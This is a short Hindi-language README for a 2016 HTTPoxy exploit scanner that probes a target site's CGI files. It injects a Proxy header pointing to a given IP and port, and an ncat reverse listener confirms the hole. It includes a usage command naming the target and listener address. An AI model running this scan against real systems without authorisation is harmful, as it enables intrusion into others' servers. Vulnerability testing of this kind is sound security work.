HTTPoxy शोषण स्कैनर

द्वारा 1N3 @CrowdShield (https://crowdshield.com) अंतिम अद्यतन: 20160720

परिचय:

लक्ष्य URL पर सामान्य CGI फ़ाइलों को HTTPoxy भेद्यता के लिए स्कैन करने हेतु PoC/शोषण स्कैनर। Httpoxy भेद्यताओं का एक समूह है जो CGI या CGI-जैसे वातावरण में चल रहे अनुप्रयोग कोड को प्रभावित करता है। अधिक विवरण के लिए, https://httpoxy.org पर जाएं।

आवश्यकताएँ:

रिवर्स सत्र स्थापित करने के लिए ncat की आवश्यकता है

उपयोग:

./httpoxyscan.py https://target.com cgi_list.txt 10.1.2.243 3000

यह https://target.com को सामान्य CGI फ़ाइलों की सूची के साथ स्कैन करेगा, साथ ही दिए गए IP:PORT पर एक Proxy हैडर इंजेक्ट करेगा। एक रिवर्स लिसनर आने वाले कनेक्शन को पकड़कर रिमोट साइट की भेद्यता की पुष्टि करेगा।

अस्वीकरण:

इस शोषण के दुरुपयोग या गलत उपयोग के लिए मैं कोई जिम्मेदारी नहीं लेता हूँ।